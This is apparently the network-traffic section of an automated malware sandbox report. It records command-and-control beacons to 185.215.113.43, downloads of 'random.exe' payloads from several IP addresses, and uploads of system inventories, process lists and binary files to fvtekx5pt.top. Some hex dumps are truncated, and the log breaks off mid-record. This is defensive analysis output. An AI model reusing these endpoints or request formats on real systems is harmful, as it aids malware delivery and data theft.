Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 36 37 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011267001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 36 38 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011268001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1Host: home.fvtekx5pt.topAccept: /Content-Type: application/jsonContent-Length: 704524Data Raw: 7b 20 22 69 70 22 3a 20 22 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 33 31 33 34 39 30 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 31 36 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 31 35 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 34 37 36 2e 30 2c 20 22 66 72 65 65 22 3a 20 34 32 31 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 39 32 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 38 30 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 31 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 31 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 30 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 31 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 31 30 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 31 31 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 31 31 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 31 32 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 31 33 32 38 20 7d 2
Source: global traffic	HTTP traffic detected: GET /RrlNvinfLqYZQoxgChZr1732768478?argument=ZCQnAHNfUqr6vEh61733134906 HTTP/1.1Host: home.fvtekx5pt.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 36 39 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011269001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 36 30 41 41 37 35 35 43 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="hwid"6D60AA755CB61709341086------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="build"drum------DGDBKFBAKFBFHIECFBFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 37 30 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011270001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekx5pt.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------6SMtKoyEIjnhOTk4gpp3qeData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 53 4d 74 4b 6f 79 45 49 6a 6e 68 4f 54 6b 34 67 70 70 33 71 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 75 6b 65 77 69 73 75 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 55 1e f3 d4 b9 3e 61 e0 0d c9 78 25 26 8f 1f 29 89 e5 c0 d0 38 0c 3c f3 9b 2b 3c 80 1e b7 99 97 b7 c3 ba c1 f8 91 5d 70 09 1f 50 a1 76 fb 68 9d cd f8 e3 e8 08 31 6d e4 64 55 2a 4d dc 39 33 37 d4 ad a8 5c 69 a1 20 c3 19 5b 05 42 ea 7a 0a be a7 76 0e cc c9 da 1c 31 a5 ce 8e 0f d9 28 6a 2c 47 2f a2 20 27 11 79 e5 9b 77 80 c4 61 f1 7c 54 02 62 e7 d9 42 23 41 8c 9b 6b 1d c2 d1 fc ab 4e 85 a6 06 60 dc 58 0e f4 9a f1 4e 9a 7c 89 5c 3d b1 a4 23 a2 34 36 ef fd 6a 8f f1 b0 78 02 8a 7b 65 97 db 8f 69 20 1c 9d 6b 5d 1f 7a 71 be 4d 51 5c 03 79 57 65 cc 4e d4 cd 07 93 64 60 13 14 d3 4b b5 fc 5f 2b f7 4d f9 fd e9 9c ff 05 6a 4c 0f 60 3e c6 23 e8 2c a7 de 16 05 44 05 4c 35 c4 05 ed 5f 48 79 40 17 11 3e 9b 50 68 3b 71 d2 d1 98 24 8b 2e 74 a2 a0 ea 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 53 4d 74 4b 6f 79 45 49 6a 6e 68 4f 54 6b 34 67 70 70 33 71 65 2d 2d 0d 0a Data Ascii: --------------------------6SMtKoyEIjnhOTk4gpp3qeContent-Disposition: form-data; name="file"; filename="Kukewisus.bin"Content-Type: application/octet-streamLU>ax%&)8<+<]pPvh1mdU*M937\i [Bzv1(j,G/ 'ywa\|TbB#AkN`XN\|\=#46jx{ei k]zqMQ\yWeNd`K_+MjL`>#,DL5_Hy@>Ph;q$.t--------------------------6SMtKoyEIjnhOTk4gpp3qe--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekx5pt.topAccept: /Content-Length: 102760Content-Type: multipart/form-data; boundary=------------------------cRgdER6uFiJMiEG8HnzZyJData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 52 67 64 45 52 36 75 46 69 4a 4d 69 45 47 38 48 6e 7a 5a 79 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 6f 6b 61 63 65 76 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 43 f3 e2 3f 2b 99 2c ed 39 a8 c9 de d9 92 77 4c df 3c e6 87 c3 f5 64 4d fe 20 3b 49 68 77 21 4b 33 c3 80 0b da 5c fa e3 5d 8e 29 48 3e d5 cc 33 1b ea cd 45 ea 83 f9 2f 50 8f 8a f4 52 a7 6b b8 8d 82 dc 9f a2 e6 66 65 9e 77 2d 03 40 bb 53 f7 0b 90 cc 03 7c df ab bd ac 3d 79 1b 35 fb aa a5 89 96 5e 8d fe 84 dd 71 67 6c ac 58 bc 0f 18 e7 1e 75 1e 4c ae b5 a8 fc e1 84 6d 50 52 ae 4d 10 f1 a6 c9 04 9c 79 a5 71 e7 d4 d4 6a 3f f1 01 fe 4b 32 eb b9 e1 51 8a 45 50 e5 0c a0 f3 16 be 91 1d cd cb d6 cd 24 da 25 a6 04 55 67 0d 82 2f ea 76 66 00 0a 34 a5 e4 bb c1 c9 7c a1 ca c9 28 d8 ca e7 da 7a 14 ad f9 73 25 ac 04 ae 44 13 e3 23 0d df 40 14 da dd c6 c4 19 74 7e a5 02 fa 34 57 8f 9f 89 36 ab 75 d5 e8 d7 80 c0 ea b9 a4 ae 98 ad c2 89 44 e1 41 99 d6 2a 77 1e 6d 02 2c 23 b2 ce 30 32 48 fe df 03 59 ed 90 bf 40 df 22 46 17 18 51 9f 08 7d ac 08 cc 6c 4a e4 a8 97 8d 83 34 49 5d 01 8a 15 fd 39 c3 d3 2c 13 af 3a 15 9c 93 12 34 0d 6a fd d9 1d 24 cd 1c ca c1 eb 67 aa d5 c4 08 45 2e a0 16 de 82 58 45 43 8d 9f 54 3b 01 42 5d e3 93 d2 b1 79 6c 14 d6 d1 10 04 ac 6b f8 35 72 4e a0 49 95 08 df ab d0 98 9f 29 3b 8b f1 ec a4 59 2e 41 89 28 ee b7 05 b4 b5 6e 06 77 26 a4 87 e9 ea 3b 3d 94 07 c0 f6 5b 17 77 74 01 e2 89 2b 95 fa 21 d4 63 7d 3d bc fa 93 10 51 bc a1 8e 26 89 91 21 ae 2c eb 65 73 e8 df 14 ff 4b 1f d8 94 4f f1 5a 3b aa d8 f6 24 9c 17 e0 0c 74 17 1c 0b 9c 4c 6b ef 4d d9 b4 4e 2e d2 4a d2 c4 24 b0 8f 7e 57 10 a2 ef ba 4a 07 f0 20 e1 0a c8 4d 69 36 61 4c e3 3b 4f 84 f8 2e 45 26 a4 16 e2 0a 6d 4f 07 75 62 37 13 8f b8 61 46 ba 9a dd 85 01 0e 6b 6a 8e 94 db 0e 3c 0f 7c 0b a4 e6 f9 4f 73 0c 29 76 aa 53 c4 45 37 79 86 12 96 37 3f 6d bf d1 e8 83 fc 5d 0a e1 b6 92 fd 47 5c b5 83 78 94 f8 b9 33 80 e1 fa ca c0 ee 87 56 63 9c 6f 79 eb a5 74 29 77 58 27 5f ee a5 fb 7b c3 fe b6 50 34 ee 0a 49 09 bb 61 36 14 5e d3 40 e6 c7 37 2d 41 f5 dd 47 d1 56 3c a9 38 eb ca 49 c0 72 f3 fa 3f 85 c2 ea 06 ec cc e2 07 de e0 2f 83 37 06 d3 89 ab 37 70 21 07 78 ec d9 2e 97 c3 4e ca 72 67 cf db 16 a4 8c 48 26 8d a9 f5 8e 65 1e 42 0d 75 3b 97 01 c1 f6 25 59 01 d6 85 14 b8 eb 4e 73 ef 8f df df 12 69 eb e3 12 3a c9 49 82 0b d3 aa bd ad 45 76 9d 36 c3 c4 4e fb d0 4f 28 27 f3 66 6b f4 97 71 1a 44 32 af 41 4f 4e 92 d4 07 b3 d4 38 cb 72 78 f0 01 48 a0 0c 8c 69 ee 87 35 ab a8 5a 8f ac d5 ff 8e 3e 5a 77 5a a9 83 4a 27 1a 39 33 93 d3 77 a3 36 8b 97 8a
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 37 31 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011271001&unit=425316567296
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekx5pt.topAccept: /Content-Length: 36501Content-Type: multipart/form-data; boundary=------------------------mYDY1hnc0Wcvu1s4riGbUpData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 59 44 59 31 68 6e 63 30 57 63 76 75 31 73 34 72 69 47 62 55 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 61 73 65 73 65 6c 69 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 38 ff 26 b4 15 ea 2c 27 cc cc 87 65 50 ab e5 84 dc d7 12 dc 24 f0 b1 a7 43 11 3d f4 ca ca ae eb c9 1d 62 7b 6c 40 c2 f2 ce 9b ac dd 8f 4c 50 78 ad 52 84 f2 ea ef 6c 53 8f 91 d2 7a 8a 6a a1 47 53 b4 eb 1b 67 e6 a9 dd 88 c5 9d 4c 72 68 64 af b7 92 c3 d6 35 3f 67 05 70 07 ad 37 10 26 51 d6 ee 08 b1 6e be 8c 0e 40 9f 78 c5 31 f9 24 16 a8 a9 52 21 62 d6 c4 ad bd 87 8b 98 02 91 0e 0c a6 87 2a 1c ed d6 34 9c 07 cf 59 be 08 92 69 20 e4 a8 7f fc 17 a1 dc 51 01 98 94 05 b1 1a eb 47 58 2d 29 ec 61 de 2e f8 61 72 32 05 10 73 6b b6 06 d8 3a 8a bd c8 8b 16 75 05 81 d2 cb 9f 23 d8 18 ad 1d 19 12 e6 a9 21 6a 2e fc e4 3e 76 3f 3f 76 43 97 2e 4d 0d 61 d1 71 5b 44 39 57 1b 08 b8 cc 79 e0 49 df 51 ce 9f 85 aa d7 ce 8f 69 47 a6 19 90 df dd 05 a7 cc 2a 62 6b 6c 41 9e f4 b0 0b 34 c5 c6 54 41 9e cc 42 21 55 7e f4 b1 1f da 7c 0b 3a b2 fb 46 c6 06 e0 02 44 82 25 30 20 56 19 76 fa 87 93 45 90 85 f7 73 39 67 f6 9d cd 14 67 7c 6c 39 61 0d 36 46 94 f6 a1 b6 87 99 04 6d e8 24 3a f8 c0 62 3e fe 95 33 bd 8f 44 2e 5b e1 43 71 72 c7 eb 66 d2 a2 b7 8f 90 ea 76 dc 50 af 15 c5 91 69 b8 e2 bc b4 e3 82 77 98 7c f8 22 87 79 05 aa d0 4a 78 74 91 b4 dd c1 d2 6f b3 6c 2d eb 83 40 c2 01 68 66 fe 17 d8 63 af 0a 8e c7 bf fa a0 7d bf 9c 50 b8 21 87 10 71 be 36 e0 c8 71 92 7f 58 69 fb 6c 5b 64 79 d2 10 b8 ac 53 f5 bc 8a f5 f0 98 c1 7d 3d 3b f6 f5 52 20 e3 cb e1 57 32 d3 af 4e 55 5a 18 14 00 4d 26 1d 41 e6 c0 7d dd 34 ea 1b 02 b4 86 00 e2 a7 92 d0 d1 3b 32 5b 7e 29 43 a4 ed f7 e8 8c 76 66 db 29 7e 90 15 ad ed 07 b3 49 91 13 6e 47 97 c7 92 92 67 ed 27 63 ff b3 1b 56 8a 48 94 e7 61 7e 9c b4 a9 2d c6 02 ca a8 fa 83 e4 64 24 c7 bd 1f ed 4b 67 f8 15 d5 4e f7 0c 08 a8 1c 9a e3 64 7a 3d d0 11 d8 c0 fe f3 b7 4e d5 a9 7d e5 40 2b 6c 47 74 f9 b9 c9 49 33 2c 6e 4c 5f ca 35 0b 30 b5 39 20 76 77 62 05 27 ca 92 58 e8 b8 2b d6 2d 8e 04 0a 5f b5 fa 6f fd c1 ff e5 70 93 74 7e 13 13 0b 1f b9 a4 27 a7 ec 6c fb a6 79 b8 f9 52 f5 45 84 bc 79 3d 15 9d 92 74 48 11 a6 ec d1 1c 28 b4 d8 e2 96 54 13 99 04 04 79 73 59 a6 8e 36 c4 8d dc c6 ce 33 82 3f 80 1f 2b 9e 0a 56 18 9d 03 67 cf 95 79 e3 2e 83 91 7e 97 e1 30 04 71 1f 6f 5f c5 2c 35 ae 7c 54 ed d7 22 1e 38 72 2e 0e 66 52 9c b6 57 43 4e b7 d3 12 e6 cc 56 ea 49 62 3f 11 6b 90 ce 4f e7 98 ef 13 8e 70 af 3d 00 04 1f 70 d9 52 6d 30 9d fc d0 4f 29 25 71 40 fe 05 e4 67 53 3d 4d 46 04 11 d1 5c 49 46 a3 fa 99
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 31 32 37 32 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011272001&unit=425316567296
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 36 30 41 41 37 35 35 43 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="hwid"6D60AA755CB61709341086------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="build"drum------BKKJKFBKKECFHJKEBKEH--
Source: global traffic	HTTP traffic detected: POST /RrlNvinfLqYZQoxgChZr1732768478 HTTP/1.1Host: home.fvtekx5pt.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 5a 43 51 6e 41 48 4e 66 55 71 72 36 76 45 68 36 31 37 33 33 31 33 34 39 30 36 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "ZCQnAHNfUqr6vEh61733134906", "data": "Done2" }
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 